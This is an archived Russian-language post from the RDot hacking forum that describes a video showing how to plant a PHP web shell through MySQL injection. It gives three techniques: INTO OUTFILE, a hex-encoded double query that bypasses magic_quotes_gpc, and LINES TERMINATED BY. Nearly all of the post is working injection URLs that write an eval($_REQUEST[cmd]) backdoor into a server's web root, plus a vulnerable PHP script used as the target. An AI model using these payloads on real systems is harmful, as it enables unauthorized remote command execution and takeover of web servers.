RDot

RDot (https://rdot.org/forum/index.php)
-   Видео/Videos (https://rdot.org/forum/forumdisplay.php?f=60)
-   -   Заливка шелла через MySQL Injection (https://rdot.org/forum/showthread.php?t=352)

Ded MustD!e 19.07.2010 03:11

Заливка шелла через MySQL Injection
 
Ссылка на скачивание (5.85MB): http://www.sendspace.com/file/s1bgiv

Описание видео:

Заливка шелла через MySQL Injection

I. Into Outfile

Требования:
magic_quotes_gpc = Off
file_priv = Y
полный путь
папка с правами на запись

Допустим у нас есть SQL инъекция с выводом:
Код:

http://localhost/sql/test.php?id=-1+union+select+1,2,3--+1
Узнаем имя пользователя БД, под которым мы сидим:
Код:

http://localhost/sql/test.php?id=-1+union+select+1,user(),3--+1
Проверяем, есть ли файловые привелегии у нашего юзера:
Код:

http://localhost/sql/test.php?id=-1+union+select+1,file_priv,3+from+mysql.user+where+user='root'--+1
Заливаем мини-шелл:
Код:

http://localhost/sql/test.php?id=-1+union+select+1,'<?php eval($_REQUEST[cmd]);  ?>',3+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/s.php'--+1
II. Into Outfile + двойной запрос (метод Scipio)

Требования:
file_priv = Y
полный путь
папка с правами на запись

Предположим, что инъекция удовлетворяет условиям из предыдущего примера, но mq=ON, т.е. кавычки фильтруются, но работаем мы со скриптом следующего содержания:
PHP код:

<?php 
mysql_connect
('localhost','root',''); 
mysql_select_db('test'); 
$id=$_GET["id"]; 
$sql "SELECT id,email,name FROM `user` where id=".$id
$result mysql_query($sql);  
while(
$res mysql_fetch_array($result)) {
    echo 
$res['email'].":".$res['name']."<br>";
    
$sql2 mysql_query("SELECT uid,auto FROM autos WHERE uid = ".$res["id"]); 
    while(
$res2 mysql_fetch_array($sql2)) 
        echo 
$res2["uid"].':'.$res2["auto"]; 

?>

Видим, что данные из первого запроса (id из $sql), попадают во второй запрос $sql2.
Попробуем захексить кавычку и подставить в наш запрос:
Код:

http://localhost/sql/test.php?id=-1+union+select+0x27,2,3--+1
Видим ошибку. Из скрипта видно, что во втором запросе 2 колонки, захексим второй запрос -1 union select 'ded',777--+1 и подставим в инъекцию:
Код:

http://localhost/sql/test.php?id=-1+union+select+0x2d3120756e696f6e2073656c6563742027646564272c3737372d2d2031,2,3--+1
Данные успешно выводятся, таким образом мы можем обойти magic_quotes_gpc и залить шелл, хексим запрос -1 union select '<?php eval($_REQUEST[cmd]); ?>',777+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/d.php'--+1 и подставляем в инъекцию:
Код:

http://localhost/sql/test.php?id=-1+union+select+0x2d3120756e696f6e2073656c65637420273c3f706870206576616c28245f524551554553545b636d645d293b203f3e272c3737372066726f6d206d7973716c2e7573657220696e746f206f757466696c652027443a2f412f78616d70702f6874646f63732f73716c2f642e706870272d2d2031,2,3--+1
III. Into Outfile + Lines Terminated By

Требования:
magic_quotes_gpc = Off
file_priv = Y
полный путь
папка с правами на запись
инъекция в аргументе WHERE(LIMIT,ORDER BY)

Заливаем шелл запросом:
Код:

http://localhost/sql/test.php?id=1+limit+1+into+outfile+'D:/A/xampp/htdocs/sql/b.php'+lines+terminated+by+'<?php eval($_REQUEST[cmd]); ?>'--+1


Часовой пояс GMT +3, время: 04:35.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot